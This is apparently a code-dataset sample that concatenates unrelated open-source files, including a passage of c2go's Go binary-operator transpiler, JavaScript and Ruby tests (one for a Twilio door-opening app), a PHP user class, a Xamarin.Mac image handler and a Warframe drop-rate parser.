r0.ChildNodes[0] = &ast.BinaryOperator{
Type: "int",
Type2: "int",
Operator: "+",
ChildNodes: []ast.Node{
r1,
&ast.IntegerLiteral{
Type: "int",
Value: "256",
},
},
}
}
}
}
}
}
}
// Example of C code
// a = b = 1
// // Operation equal transpile from right to left
// Solving:
// b = 1, a = b
// // Operation comma tranpile from left to right
// If we have for example:
// a = b = c = 1
// then solution is:
// c = 1, b = c, a = b
// |-----------|
// this part, created in according to
// recursive working
// Example of AST tree for problem:
// |-BinaryOperator 0x2f17870 <line:13:2, col:10> 'int' '='
// | |-DeclRefExpr 0x2f177d8 <col:2> 'int' lvalue Var 0x2f176d8 'x' 'int'
// | `-BinaryOperator 0x2f17848 <col:6, col:10> 'int' '='
// | |-DeclRefExpr 0x2f17800 <col:6> 'int' lvalue Var 0x2f17748 'y' 'int'
// | `-IntegerLiteral 0x2f17828 <col:10> 'int' 1
//
// Example of AST tree for solution:
// |-BinaryOperator 0x368e8d8 <line:13:2, col:13> 'int' ','
// | |-BinaryOperator 0x368e820 <col:2, col:6> 'int' '='
// | | |-DeclRefExpr 0x368e7d8 <col:2> 'int' lvalue Var 0x368e748 'y' 'int'
// | | `-IntegerLiteral 0x368e800 <col:6> 'int' 1
// | `-BinaryOperator 0x368e8b0 <col:9, col:13> 'int' '='
// | |-DeclRefExpr 0x368e848 <col:9> 'int' lvalue Var 0x368e6d8 'x' 'int'
// | `-ImplicitCastExpr 0x368e898 <col:13> 'int' <LValueToRValue>
// | `-DeclRefExpr 0x368e870 <col:13> 'int' lvalue Var 0x368e748 'y' 'int'
if getTokenForOperator(n.Operator) == token.ASSIGN {
switch c := n.Children()[1].(type) {
case *ast.BinaryOperator:
if getTokenForOperator(c.Operator) == token.ASSIGN {
bSecond := ast.BinaryOperator{
Type: c.Type,
Operator: "=",
}
bSecond.AddChild(n.Children()[0])
var impl ast.ImplicitCastExpr
impl.Type = c.Type
impl.Kind = "LValueToRValue"
impl.AddChild(c.Children()[0])
bSecond.AddChild(&impl)
var bComma ast.BinaryOperator
bComma.Operator = ","
bComma.Type = c.Type
bComma.AddChild(c)
bComma.AddChild(&bSecond)
// goast.NewBinaryExpr takes care to wrap any AST children safely in a closure, if needed.
return transpileBinaryOperator(&bComma, p, exprIsStmt)
}
}
}
// Example of C code
// a = 1, b = a
// Solving
// a = 1; // preStmts
// b = a; // n
// Example of AST tree for problem:
// |-BinaryOperator 0x368e8d8 <line:13:2, col:13> 'int' ','
// | |-BinaryOperator 0x368e820 <col:2, col:6> 'int' '='
// | | |-DeclRefExpr 0x368e7d8 <col:2> 'int' lvalue Var 0x368e748 'y' 'int'
// | | `-IntegerLiteral 0x368e800 <col:6> 'int' 1
// | `-BinaryOperator 0x368e8b0 <col:9, col:13> 'int' '='
// | |-DeclRefExpr 0x368e848 <col:9> 'int' lvalue Var 0x368e6d8 'x' 'int'
// | `-ImplicitCastExpr 0x368e898 <col:13> 'int' <LValueToRValue>
// | `-DeclRefExpr 0x368e870 <col:13> 'int' lvalue Var 0x368e748 'y' 'int'
//
// Example of AST tree for solution:
// |-BinaryOperator 0x21a7820 <line:13:2, col:6> 'int' '='
// | |-DeclRefExpr 0x21a77d8 <col:2> 'int' lvalue Var 0x21a7748 'y' 'int'
// | `-IntegerLiteral 0x21a7800 <col:6> 'int' 1
// |-BinaryOperator 0x21a78b0 <line:14:2, col:6> 'int' '='
// | |-DeclRefExpr 0x21a7848 <col:2> 'int' lvalue Var 0x21a76d8 'x' 'int'
// | `-ImplicitCastExpr 0x21a7898 <col:6> 'int' <LValueToRValue>
// | `-DeclRefExpr 0x21a7870 <col:6> 'int' lvalue Var 0x21a7748 'y' 'int'
if getTokenForOperator(n.Operator) == token.COMMA {
stmts, _, newPre, newPost, err := transpileToExpr(n.Children()[0], p, exprIsStmt)
if err != nil {
return nil, "unknown50", nil, nil, err
}
preStmts = append(preStmts, newPre...)
preStmts = append(preStmts, util.NewExprStmt(stmts))
preStmts = append(preStmts, newPost...)
var st string
stmts, st, newPre, newPost, err = transpileToExpr(n.Children()[1], p, exprIsStmt)
if err != nil {
return nil, "unknown51", nil, nil, err
}
// Theoretically , we don't have any preStmts or postStmts
// from n.Children()[1]
if len(newPre) > 0 || len(newPost) > 0 {
p.AddMessage(p.GenerateWarningMessage(
fmt.Errorf("Not support length pre or post stmts: {%d,%d}", len(newPre), len(newPost)), n))
}
return stmts, st, preStmts, postStmts, nil
}
left, leftType, newPre, newPost, err := atomicOperation(n.Children()[0], p)
if err != nil {
return nil, "unknown52", nil, nil, err
}
preStmts, postStmts = combinePreAndPostStmts(preStmts, postStmts, newPre, newPost)
right, rightType, newPre, newPost, err := atomicOperation(n.Children()[1], p)
if err != nil {
return nil, "unknown53", nil, nil, err
}
var adjustPointerDiff int
if types.IsPointer(p, leftType) && types.IsPointer(p, rightType) &&
(operator == token.SUB ||
operator == token.LSS || operator == token.GTR ||
operator == token.LEQ || operator == token.GEQ) {
baseSize, err := types.SizeOf(p, types.GetBaseType(leftType))
if operator == token.SUB && err == nil && baseSize > 1 {
adjustPointerDiff = baseSize
}
left, leftType, err = GetUintptrForPointer(p, left, leftType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
right, rightType, err = GetUintptrForPointer(p, right, rightType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}
if types.IsPointer(p, leftType) && types.IsPointer(p, rightType) &&
(operator == token.EQL || operator == token.NEQ) &&
leftType != "NullPointerType *" && rightType != "NullPointerType *" {
left, leftType, err = GetUintptrForPointer(p, left, leftType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
right, rightType, err = GetUintptrForPointer(p, right, rightType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}
preStmts, postStmts = combinePreAndPostStmts(preStmts, postStmts, newPre, newPost)
returnType := types.ResolveTypeForBinaryOperator(p, n.Operator, leftType, rightType)
if operator == token.LAND || operator == token.LOR {
left, err = types.CastExpr(p, left, leftType, "bool")
p.AddMessage(p.GenerateWarningOrErrorMessage(err, n, left == nil))
if left == nil {
left = util.NewNil()
}
right, err = types.CastExpr(p, right, rightType, "bool")
p.AddMessage(p.GenerateWarningOrErrorMessage(err, n, right == nil))
if right == nil {
right = util.NewNil()
}
resolvedLeftType, err := types.ResolveType(p, leftType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
expr := util.NewBinaryExpr(left, operator, right, resolvedLeftType, exprIsStmt)
return expr, "bool", preStmts, postStmts, nil
}
// The right hand argument of the shift left or shift right operators
// in Go must be unsigned integers. In C, shifting with a negative shift
// count is undefined behaviour (so we should be able to ignore that case).
// To handle this, cast the shift count to a uint64.
if operator == token.SHL || operator == token.SHR {
right, err = types.CastExpr(p, right, rightType, "unsigned long long")
p.AddMessage(p.GenerateWarningOrErrorMessage(err, n, right == nil))
if right == nil {
right = util.NewNil()
}
return util.NewBinaryExpr(left, operator, right, "uint64", exprIsStmt),
leftType, preStmts, postStmts, nil
}
// pointer arithmetic
if types.IsPointer(p, n.Type) {
if operator == token.ADD || operator == token.SUB {
if types.IsPointer(p, leftType) {
expr, eType, newPre, newPost, err =
pointerArithmetic(p, left, leftType, right, rightType, operator)
} else {
expr, eType, newPre, newPost, err =
pointerArithmetic(p, right, rightType, left, leftType, operator)
}
if err != nil {
return
}
if expr == nil {
return nil, "", nil, nil, fmt.Errorf("Expr is nil")
}
preStmts, postStmts =
combinePreAndPostStmts(preStmts, postStmts, newPre, newPost)
return
}
}
if operator == token.NEQ || operator == token.EQL ||
operator == token.LSS || operator == token.GTR ||
operator == token.LEQ || operator == token.GEQ ||
operator == token.AND || operator == token.ADD ||
operator == token.SUB || operator == token.MUL ||
operator == token.QUO || operator == token.REM {
// We may have to cast the right side to the same type as the left
// side. This is a bit crude because we should make a better
// decision of which type to cast to instead of only using the type
// of the left side.
if rightType != types.NullPointer {
right, err = types.CastExpr(p, right, rightType, leftType)
rightType = leftType
p.AddMessage(p.GenerateWarningOrErrorMessage(err, n, right == nil))
}
}
if operator == token.ASSIGN {
// Memory allocation is translated into the Go-style.
allocSize := getAllocationSizeNode(p, n.Children()[1])
if allocSize != nil {
right, newPre, newPost, err = generateAlloc(p, allocSize, leftType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
return nil, "", nil, nil, err
}
preStmts, postStmts = combinePreAndPostStmts(preStmts, postStmts, newPre, newPost)
} else {
right, err = types.CastExpr(p, right, rightType, returnType)
if p.AddMessage(p.GenerateWarningMessage(err, n)) && right == nil {
right = util.NewNil()
}
}
}
if operator == token.ADD_ASSIGN || operator == token.SUB_ASSIGN {
right, err = types.CastExpr(p, right, rightType, returnType)
}
var resolvedLeftType = n.Type
if !types.IsFunction(n.Type) && !types.IsTypedefFunction(p, n.Type) {
resolvedLeftType, err = types.ResolveType(p, leftType)
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}
// Enum casting
if operator != token.ASSIGN && strings.Contains(leftType, "enum") {
left, err = types.CastExpr(p, left, leftType, "int")
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}
// Enum casting
if operator != token.ASSIGN && strings.Contains(rightType, "enum") {
right, err = types.CastExpr(p, right, rightType, "int")
if err != nil {
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}
if left == nil {
err = fmt.Errorf("left part of binary operation is nil. left : %#v", n.Children()[0])
p.AddMessage(p.GenerateWarningMessage(err, n))
return nil, "", nil, nil, err
}
if right == nil {
err = fmt.Errorf("right part of binary operation is nil. right : %#v", n.Children()[1])
p.AddMessage(p.GenerateWarningMessage(err, n))
return nil, "", nil, nil, err
}
if adjustPointerDiff > 0 {
expr := util.NewBinaryExpr(left, operator, right, resolvedLeftType, exprIsStmt)
returnType = types.ResolveTypeForBinaryOperator(p, n.Operator, leftType, rightType)
return util.NewBinaryExpr(expr, token.QUO, util.NewIntLit(adjustPointerDiff), returnType, exprIsStmt),
returnType,
preStmts, postStmts, nil
}
return util.NewBinaryExpr(left, operator, right, resolvedLeftType, exprIsStmt),
types.ResolveTypeForBinaryOperator(p, n.Operator, leftType, rightType),
preStmts, postStmts, nil
}
func foundCallExpr(n ast.Node) *ast.CallExpr {
switch v := n.(type) {
case *ast.ImplicitCastExpr, *ast.CStyleCastExpr:
return foundCallExpr(n.Children()[0])
case *ast.CallExpr:
return v
}
return nil
}
// getAllocationSizeNode returns the node that, if evaluated, would return the
// size (in bytes) of a memory allocation operation. For example:
//
// (int *)malloc(sizeof(int))
//
// Would return the node that represents the "sizeof(int)".
//
// If the node does not represent an allocation operation (such as calling
// malloc, calloc, realloc, etc.) then nil is returned.
//
// In the case of calloc() it will return a new BinaryExpr that multiplies both
// arguments.
func getAllocationSizeNode(p *program.Program, node ast.Node) ast.Node {
expr := foundCallExpr(node)
if expr == nil || expr == (*ast.CallExpr)(nil) {
return nil
}
functionName, _ := getNameOfFunctionFromCallExpr(p, expr)
if functionName == "malloc" {
// Is 1 always the body in this case? Might need to be more careful
// to find the correct node.
return expr.Children()[1]
}
if functionName == "calloc" {
return &ast.BinaryOperator{
Type: "int",
Operator: "*",
ChildNodes: expr.Children()[1:],
}
}
// TODO: realloc() is not supported
// https://github.com/elliotchance/c2go/issues/118
//
// Realloc will be treated as calloc which will almost certainly cause
// bugs in your code.
if functionName == "realloc" {
return expr.Children()[2]
}
return nil
}
func generateAlloc(p *program.Program, allocSize ast.Node, leftType string) (
right goast.Expr, preStmts []goast.Stmt, postStmts []goast.Stmt, err error) {
allocSizeExpr, allocType, newPre, newPost, err := transpileToExpr(allocSize, p, false)
preStmts, postStmts = combinePreAndPostStmts(preStmts, postStmts, newPre, newPost)
if err != nil {
return nil, preStmts, postStmts, err
}
toType, err := types.ResolveType(p, leftType)
if err != nil {
return nil, preStmts, postStmts, err
}
allocSizeExpr, err = types.CastExpr(p, allocSizeExpr, allocType, "int")
if err != nil {
return nil, preStmts, postStmts, err
}
right = util.NewCallExpr(
"noarch.Malloc",
allocSizeExpr,
)
if toType != "unsafe.Pointer" {
right = &goast.CallExpr{
Fun: &goast.ParenExpr{
X: util.NewTypeIdent(toType),
},
Args: []goast.Expr{right},
}
}
return
}
| elliotchance/c2go | transpiler/binary.go | GO | mit | 16,361 |
var expect = require('chai').expect;
var search = require('./');
describe('binary search', function() {
it('should search 0 elements', function() {
var arr = [];
expect(search(arr, 4)).to.equal(-1);
});
it('should search 1 element not found', function() {
var arr = [1];
expect(search(arr, 4)).to.equal(-1);
});
it('should search 1 element found', function() {
var arr = [1];
expect(search(arr, 1)).to.equal(0);
});
it('should search odd', function() {
var arr = [1, 2, 3, 4, 5, 6, 7];
expect(search(arr, 4)).to.equal(3);
});
it('should search even', function() {
var arr = [1, 2, 3, 4, 5, 6, 7, 8];
expect(search(arr, 4)).to.equal(3);
});
});
| simplyianm/binarysearch-js | test.js | JavaScript | mit | 711 |
<?php
/**
* Created by PhpStorm.
* User: Leonardo Shinagawa
* Date: 04/08/14
* Time: 18:10
*/
namespace shina\controlmybudget;
class User {
/**
* @var int
*/
public $id;
/**
* @var string
*/
public $email;
/**
* @var string
*/
public $name;
/**
* @var string
*/
public $facebook_user_id;
} | shina/control-my-budget | src/shina/controlmybudget/User.php | PHP | mit | 374 |
import { Client, ClientDao } from '../database/clientDao';
const dao = new ClientDao();
export default class ClientService {
static save(accessToken, refreshToken, profile, done) {
process.nextTick(() => {
let client = new Client();
client.name = profile.displayName;
client.email = profile.emails[0].value;
client.facebookId = profile.id;
client.token = accessToken;
client.photo = 'https://graph.facebook.com/' + profile.id + '/picture?type=large';
dao.save(client, (err, client) => {
if (err) {
return done(err);
}
done(err, client);
});
});
}
static find(req, res, next) {
dao.find((err, clients) => {
if (err) {
return next(err);
}
res.status(200).json(clients);
})
}
} | auromota/easy-pizza-api | src/service/clientService.js | JavaScript | mit | 943 |
//
// ImageHandler.cs
//
// Author:
// Lluis Sanchez <lluis@xamarin.com>
//
// Copyright (c) 2011 Xamarin Inc
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using AppKit;
using CoreGraphics;
using Foundation;
using ObjCRuntime;
using Xwt.Backends;
using Xwt.Drawing;
namespace Xwt.Mac
{
public class ImageHandler: ImageBackendHandler
{
static readonly IntPtr sel_alloc = new Selector ("alloc").Handle;
static readonly IntPtr sel_release = new Selector ("release").Handle;
static readonly IntPtr sel_initWithIconRef = new Selector ("initWithIconRef:").Handle;
static readonly IntPtr cls_NSImage = new Class (typeof (NSImage)).Handle;
static Dictionary<string, NSImage> stockIcons = new Dictionary<string, NSImage> ();
public override object LoadFromStream (Stream stream)
{
using (NSData data = NSData.FromStream (stream)) {
return new NSImage (data);
}
}
public override object LoadFromFile (string file)
{
return new NSImage (file);
}
public override object CreateMultiResolutionImage (IEnumerable<object> images)
{
NSImage res = new NSImage ();
foreach (NSImage img in images)
res.AddRepresentations (img.Representations ());
return res;
}
public override object CreateMultiSizeIcon (IEnumerable<object> images)
{
if (images.Count () == 1)
return images.First ();
NSImage res = new NSImage ();
foreach (NSImage img in images)
res.AddRepresentations (img.Representations ());
return res;
}
public override object CreateCustomDrawn (ImageDrawCallback drawCallback)
{
return new CustomImage (ApplicationContext, drawCallback);
}
public override Size GetSize (string file)
{
using (var rep = NSImageRep.ImageRepFromFile (file))
return rep.Size.ToXwtSize ();
}
public override Xwt.Drawing.Image GetStockIcon (string id)
{
NSImage img;
if (!stockIcons.TryGetValue (id, out img)) {
img = LoadStockIcon (id);
stockIcons [id] = img;
}
return ApplicationContext.Toolkit.WrapImage (img);
}
public override void SaveToStream (object backend, System.IO.Stream stream, ImageFileType fileType)
{
NSImage img = backend as NSImage;
if (img == null)
throw new NotSupportedException ();
var imageData = img.AsTiff ();
var imageRep = (NSBitmapImageRep) NSBitmapImageRep.ImageRepFromData (imageData);
var props = new NSDictionary ();
imageData = imageRep.RepresentationUsingTypeProperties (fileType.ToMacFileType (), props);
using (var s = imageData.AsStream ()) {
s.CopyTo (stream);
}
}
public override bool IsBitmap (object handle)
{
NSImage img = handle as NSImage;
return img != null && img.Representations ().OfType<NSBitmapImageRep> ().Any ();
}
public override object ConvertToBitmap (ImageDescription idesc, double scaleFactor, ImageFormat format)
{
double width = idesc.Size.Width;
double height = idesc.Size.Height;
int pixelWidth = (int)(width * scaleFactor);
int pixelHeight = (int)(height * scaleFactor);
if (idesc.Backend is CustomImage) {
var flags = CGBitmapFlags.ByteOrderDefault;
int bytesPerRow;
switch (format) {
case ImageFormat.ARGB32:
bytesPerRow = pixelWidth * 4;
flags |= CGBitmapFlags.PremultipliedFirst;
break;
case ImageFormat.RGB24:
bytesPerRow = pixelWidth * 3;
flags |= CGBitmapFlags.None;
break;
default:
throw new NotImplementedException ("ImageFormat: " + format.ToString ());
}
var bmp = new CGBitmapContext (IntPtr.Zero, pixelWidth, pixelHeight, 8, bytesPerRow, Util.DeviceRGBColorSpace, flags);
bmp.TranslateCTM (0, pixelHeight);
bmp.ScaleCTM ((float)scaleFactor, (float)-scaleFactor);
var ctx = new CGContextBackend {
Context = bmp,
Size = new CGSize ((nfloat)width, (nfloat)height),
InverseViewTransform = bmp.GetCTM ().Invert (),
ScaleFactor = scaleFactor
};
var ci = (CustomImage)idesc.Backend;
ci.DrawInContext (ctx, idesc);
var img = new NSImage (((CGBitmapContext)bmp).ToImage (), new CGSize (pixelWidth, pixelHeight));
var imageData = img.AsTiff ();
var imageRep = (NSBitmapImageRep)NSBitmapImageRep.ImageRepFromData (imageData);
var im = new NSImage ();
im.AddRepresentation (imageRep);
im.Size = new CGSize ((nfloat)width, (nfloat)height);
bmp.Dispose ();
return im;
}
else {
NSImage img = (NSImage)idesc.Backend;
NSBitmapImageRep bitmap = img.Representations ().OfType<NSBitmapImageRep> ().FirstOrDefault ();
if (bitmap == null) {
var imageData = img.AsTiff ();
var imageRep = (NSBitmapImageRep)NSBitmapImageRep.ImageRepFromData (imageData);
var im = new NSImage ();
im.AddRepresentation (imageRep);
im.Size = new CGSize ((nfloat)width, (nfloat)height);
return im;
}
return idesc.Backend;
}
}
public override Xwt.Drawing.Color GetBitmapPixel (object handle, int x, int y)
{
NSImage img = (NSImage)handle;
NSBitmapImageRep bitmap = img.Representations ().OfType<NSBitmapImageRep> ().FirstOrDefault ();
if (bitmap != null)
return bitmap.ColorAt (x, y).ToXwtColor ();
else
throw new InvalidOperationException ("Not a bitmnap image");
}
public override void SetBitmapPixel (object handle, int x, int y, Xwt.Drawing.Color color)
{
NSImage img = (NSImage)handle;
NSBitmapImageRep bitmap = img.Representations ().OfType<NSBitmapImageRep> ().FirstOrDefault ();
if (bitmap != null)
bitmap.SetColorAt (color.ToNSColor (), x, y);
else
throw new InvalidOperationException ("Not a bitmnap image");
}
public override bool HasMultipleSizes (object handle)
{
NSImage img = (NSImage)handle;
return img.Size.Width == 0 && img.Size.Height == 0;
}
public override Size GetSize (object handle)
{
NSImage img = (NSImage)handle;
NSBitmapImageRep bitmap = img.Representations ().OfType<NSBitmapImageRep> ().FirstOrDefault ();
if (bitmap != null)
return new Size (bitmap.PixelsWide, bitmap.PixelsHigh);
else
return new Size ((int)img.Size.Width, (int)img.Size.Height);
}
public override object CopyBitmap (object handle)
{
return ((NSImage)handle).Copy ();
}
public override void CopyBitmapArea (object backend, int srcX, int srcY, int width, int height, object dest, int destX, int destY)
{
throw new NotImplementedException ();
}
public override object CropBitmap (object backend, int srcX, int srcY, int width, int height)
{
NSImage img = (NSImage)backend;
NSBitmapImageRep bitmap = img.Representations ().OfType<NSBitmapImageRep> ().FirstOrDefault ();
if (bitmap != null) {
var empty = CGRect.Empty;
var cgi = bitmap.AsCGImage (ref empty, null, null).WithImageInRect (new CGRect (srcX, srcY, width, height));
NSImage res = new NSImage (cgi, new CGSize (width, height));
cgi.Dispose ();
return res;
}
else
throw new InvalidOperationException ("Not a bitmap image");
}
static NSImage FromResource (string res)
{
var stream = typeof(ImageHandler).Assembly.GetManifestResourceStream (res);
using (stream)
using (NSData data = NSData.FromStream (stream)) {
return new NSImage (data);
}
}
static NSImage NSImageFromResource (string id)
{
return (NSImage) Toolkit.GetBackend (Xwt.Drawing.Image.FromResource (typeof(ImageHandler), id));
}
static NSImage LoadStockIcon (string id)
{
switch (id) {
case StockIconId.ZoomIn: return NSImageFromResource ("zoom-in-16.png");
case StockIconId.ZoomOut: return NSImageFromResource ("zoom-out-16.png");
}
NSImage image = null;
IntPtr iconRef;
var type = Util.ToIconType (id);
if (type != 0 && GetIconRef (-32768/*kOnSystemDisk*/, 1835098995/*kSystemIconsCreator*/, type, out iconRef) == 0) {
try {
var alloced = Messaging.IntPtr_objc_msgSend (cls_NSImage, sel_alloc);
image = (NSImage) Runtime.GetNSObject (Messaging.IntPtr_objc_msgSend_IntPtr (alloced, sel_initWithIconRef, iconRef));
// NSImage (IntPtr) ctor retains, but since it is the sole owner, we don't want that
Messaging.void_objc_msgSend (image.Handle, sel_release);
} finally {
ReleaseIconRef (iconRef);
}
}
return image;
}
[DllImport ("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/LaunchServices")]
static extern int GetIconRef (short vRefNum, int creator, int iconType, out IntPtr iconRef);
[DllImport ("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/LaunchServices")]
static extern int ReleaseIconRef (IntPtr iconRef);
}
public class CustomImage: NSImage
{
ImageDrawCallback drawCallback;
ApplicationContext actx;
NSCustomImageRep imgRep;
internal ImageDescription Image = ImageDescription.Null;
public CustomImage (ApplicationContext actx, ImageDrawCallback drawCallback)
{
this.actx = actx;
this.drawCallback = drawCallback;
imgRep = new NSCustomImageRep (new Selector ("drawIt:"), this);
AddRepresentation (imgRep);
}
public override CGSize Size
{
get {
return base.Size;
}
set {
base.Size = value;
imgRep.Size = value;
}
}
[Export ("drawIt:")]
public void DrawIt (NSObject ob)
{
CGContext ctx = NSGraphicsContext.CurrentContext.GraphicsPort;
if (!NSGraphicsContext.CurrentContext.IsFlipped) {
// Custom drawing is done using flipped order, so if the target surface is not flipped, we need to flip it
ctx.TranslateCTM (0, Size.Height);
ctx.ScaleCTM (1, -1);
}
DrawInContext (ctx);
}
internal void DrawInContext (CGContext ctx)
{
var backend = new CGContextBackend {
Context = ctx,
InverseViewTransform = ctx.GetCTM ().Invert ()
};
DrawInContext (backend, Image);
}
internal void DrawInContext (CGContextBackend ctx)
{
DrawInContext (ctx, Image);
}
internal void DrawInContext (CGContextBackend ctx, ImageDescription idesc)
{
var s = ctx.Size != CGSize.Empty ? ctx.Size : new CGSize (idesc.Size.Width, idesc.Size.Height);
actx.InvokeUserCode (delegate {
drawCallback (ctx, new Rectangle (0, 0, s.Width, s.Height), idesc, actx.Toolkit);
});
}
public CustomImage Clone ()
{
return new CustomImage (actx, drawCallback);
}
public override NSObject Copy (NSZone zone)
{
return new CustomImage (actx, drawCallback);
}
}
}
| hamekoz/xwt | Xwt.XamMac/Xwt.Mac/ImageHandler.cs | C# | mit | 11,561 |
import { createRangeFromZeroTo } from '../../helpers/utils/range'
describe('utils range', () => {
describe('createRangeFromZeroTo range 2', () => {
const range = createRangeFromZeroTo(2)
it('return the array 0 to 1', () => {
expect(range).toEqual([0, 1])
})
})
describe('createRangeFromZeroTo range 7', () => {
const range = createRangeFromZeroTo(7)
it('return the array 0 to 6', () => {
expect(range).toEqual([0, 1, 2, 3, 4, 5, 6])
})
})
describe('createRangeFromZeroTo range 1', () => {
const range = createRangeFromZeroTo(1)
it('return the array 0', () => {
expect(range).toEqual([0])
})
})
describe('createRangeFromZeroTo range 0', () => {
const range = createRangeFromZeroTo(0)
it('return the array empty', () => {
expect(range).toEqual([])
})
})
describe('createRangeFromZeroTo range undefined', () => {
const range = createRangeFromZeroTo()
it('return the array empty', () => {
expect(range).toEqual([])
})
})
describe('createRangeFromZeroTo range string', () => {
const range = createRangeFromZeroTo('toto')
it('return the array empty', () => {
expect(range).toEqual([])
})
})
})
| KissKissBankBank/kitten | assets/javascripts/kitten/helpers/utils/range.test.js | JavaScript | mit | 1,232 |
ENV['RACK_ENV'] = 'test'
require './server'
require 'rspec'
require 'rack/test'
require 'nokogiri'
require 'sidekiq/testing'
require 'coveralls'
describe 'Fobless' do
include Rack::Test::Methods
Sidekiq::Testing.fake!
Coveralls.wear!
def app
Fobless.new
end
it "forwards phone call" do
get "/twilio/voice?AccountSid=#{ENV['TWILIO_ACCOUNT_SID']}"
expect(last_response).to be_ok
expect(last_response.header['Content-Type']).to include('application/xml;charset=utf-8')
expect(last_response.body).to have_xpath('/Response')
expect(last_response.body).to have_xpath('//Dial')
expect(last_response.body).to have_xpath('//Dial/@timeout').with_text(10)
expect(last_response.body).to have_xpath('//Dial/@record').with_text("false")
expect(last_response.body).to have_xpath('//Dial/.').with_text(ENV['MY_PHONE_NUMBER'])
end
it "plays sound file to open door" do
get "/twilio/voice?From=#{escaped_number}&AccountSid=#{ENV['TWILIO_ACCOUNT_SID']}"
expect(last_response).to be_ok
expect(last_response.header['Content-Type']).to include('application/xml;charset=utf-8')
expect(last_response.body).to have_xpath('/Response')
expect(last_response.body).to have_xpath('//Play/@digits').with_text(ENV['KEYPAD_CODE'])
end
it "text messages user when access is granted" do
get "/twilio/voice?From=#{escaped_number}&AccountSid=#{ENV['TWILIO_ACCOUNT_SID']}"
end
it "forbids access for invalid accounts" do
get "/twilio/voice?From=#{escaped_number}&AccountSid=123"
expect(last_response).to_not be_ok
expect(last_response.body).to eq('Access forbidden')
end
it "sends text message" do
body = "Door was opened @ #{Time.now}"
message = send_text_message(body)
expect(message.status).to eq("queued")
expect(message.from).to eq(ENV['APP_PHONE_NUMBER'])
expect(message.body).to eq(body)
expect(message.to).to eq("+1#{ENV['MY_PHONE_NUMBER'].gsub('-', '')}")
expect(message.sid).to be_true
end
it "queues a text message if authroized phone number" do
SmsWorker.jobs.clear
get "/twilio/voice?From=#{escaped_number}&AccountSid=#{ENV['TWILIO_ACCOUNT_SID']}"
expect(SmsWorker.jobs.size).to eq(1)
end
it "shoud not queue text message for unauthorized number" do
SmsWorker.jobs.clear
get "/twilio/voice?From=AccountSid=#{ENV['TWILIO_ACCOUNT_SID']}"
expect(SmsWorker.jobs.size).to eq(0)
end
it "should return awesome for heartbeat url" do
get "/heartbeat"
expect(last_response).to be_ok
expect(last_response.body).to eq("awesome")
end
private
def escaped_number
CGI.escape(authorized_numbers.first)
end
def authorized_numbers
ENV['AUTHORIZED_NUMBERS'].split(",")
end
end | saegey/fobless | spec/test_spec.rb | Ruby | mit | 2,743 |
using HtmlAgilityPack;
using WarframeDropRatesDataParser.DropTableParsers;
namespace WarframeDropRatesDataParser
{
internal sealed class DataFormatBuildDirector
{
private readonly Builder _builder;
private readonly HtmlDocument _dropRatesData;
public DataFormatBuildDirector(Builder builder, HtmlDocument dropRatesData)
{
_builder = builder;
_dropRatesData = dropRatesData;
}
public void BuildData()
{
// Missions
var missionRewardsDropTables = new MissionRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildMissionsData(missionRewardsDropTables);
// Relics
var relicRewardsDropTables = new RelicRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildRelicsData(relicRewardsDropTables);
// Keys
var keyRewardsDropTables = new KeyRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildKeysData(keyRewardsDropTables);
// Non-Location-Specific Rewards
var transientRewardsDropTables = new TransientRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildNonLocationSpecificData(transientRewardsDropTables);
// Sorties
var sortieRewardsDropTables = new SortieRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildSortiesData(sortieRewardsDropTables);
// Cetus
var cetusBountyRewardsDropTables = new CetusBountyRewardsDropTableParser().Parse(_dropRatesData);
_builder.BuildCetusData(cetusBountyRewardsDropTables);
// Mod Drops by Mod
var modLocationsDropTables = new ModLocationsDropTableParser().Parse(_dropRatesData);
_builder.BuildModDropsByModData(modLocationsDropTables);
// Mod Drops by Enemy
var enemyModDropTables = new EnemyModDropTableParser().Parse(_dropRatesData);
_builder.BuildModDropsByEnemyData(enemyModDropTables);
// Misc Drops by Enemy
var enemyMiscDropTables = new EnemyMiscDropTableParser().Parse(_dropRatesData);
_builder.BuildMiscDropsByEnemyData(enemyMiscDropTables);
// Blueprint Drops by Blueprint
var blueprintLocationsDropTables = new BlueprintLocationsDropTableParser().Parse(_dropRatesData);
_builder.BuildBlueprintDropsByBlueprintData(blueprintLocationsDropTables);
// Blueprint Drops by Enemy
var enemyBlueprintDropTables = new EnemyBlueprintDropTableParser().Parse(_dropRatesData);
_builder.BuildBlueprintDropsByEnemyData(enemyBlueprintDropTables);
}
}
